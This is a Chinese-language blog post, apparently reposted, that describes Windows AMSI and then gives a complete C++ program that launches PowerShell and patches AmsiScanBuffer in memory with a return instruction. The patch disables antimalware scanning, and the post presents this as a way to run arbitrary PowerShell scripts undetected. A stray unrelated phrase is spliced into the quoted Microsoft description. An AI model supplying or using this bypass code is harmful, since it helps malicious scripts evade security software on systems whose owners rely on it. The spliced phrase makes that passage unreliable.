Loading... 转载:https://idiotc4t.com/defense-evasion/memory-pacth-bypass-amsi ASMI内存补丁 还是主要辅助powershell做免杀。 # ASMI ## ASMI是什么 Antimalware Scan Interface(AMSI)为反恶意软件扫描接口。 微软描述: Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准,允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。AMSI 与反恶意软件供应商无关;它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。它支持允许文件和内存或流扫描、内容源 URL/IP 信誉检查和其他技术的调用结构。AMSI 还支持会话的概念,以便反恶意软件供应商可以关联不同的扫描请求。例如,可以将恶意负载的不同片段关联起来做出更明智的决定,广州房评而仅通过孤立地查看这些片段就很难做出决定。 ![image.png](https://www.irohane.top/usr/uploads/2022/06/3161730463.png) 它提供了通用的标准接口(COM接口、Win32 API)其中的COM接口,是为杀软供应商提供的,方便杀软厂商接入自身针对恶意软件的识别能力。有不少安全厂商已经接入了AMSI的接口。 ![](https://www.irohane.top/usr/uploads/2022/06/284578145.png) 当前 AMSI 功能已集成到 Windows 10 的这些组件中 * 用户帐户控制或 UAC(EXE、COM、MSI 或 ActiveX 的升级升级) * PowerShell(脚本代码、脚本)使用和动态 * Windows脚本(wscript.exe和cscript.exe) * JavaScript 和 VBScript * Office VBA 宏 原来本上是一个dll,这样就可以看下他的出世函数了。 ![image.png](https://www.irohane.top/usr/uploads/2022/06/635507985.png) 当执行一些敏感字符串的时候,会发现powershell拒绝执行并报毒。 ![image.png](https://www.irohane.top/usr/uploads/2022/06/802952611.png) 查看powershell模块会发现加载了amsi.dll ![image.png](https://www.irohane.top/usr/uploads/2022/06/924219245.png) # 内存补丁 我们知道字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的,而内存补丁是一种较为便捷的技术,我们可以对这个函数进行修补,使其丧失判断能力,这样我们就能自由执行任意powershell脚本,当然前提是脚本文件没有被杀软干掉。 通过上面对AmsiScanBuffer的介绍,应该知道了该函数返回HRESULT类型值,这是一个整数值,用来表示操作是否成功。如果该函数成功,那么就应当返回S_OK(0x00000000),否则应该返回HRESULT错误代码。 AmsiScanBuffer最后一个参数为AMSI_RESULT ```cpp #include <Windows.h> #include <stdio.h> int main() { STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = { 0 }; si.cb = sizeof(si); CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi); HMODULE hAmsi = LoadLibraryA("amsi.dll"); LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer"); Sleep(500); DWORD oldProtect; char patch = 0xc3; VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect); WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char),NULL); VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); FreeLibrary(hAmsi); return 0; } ``` 最后修改:2022 年 06 月 02 日 © 允许规范转载 赞 0 如果觉得我的文章对你有用,请随意赞赏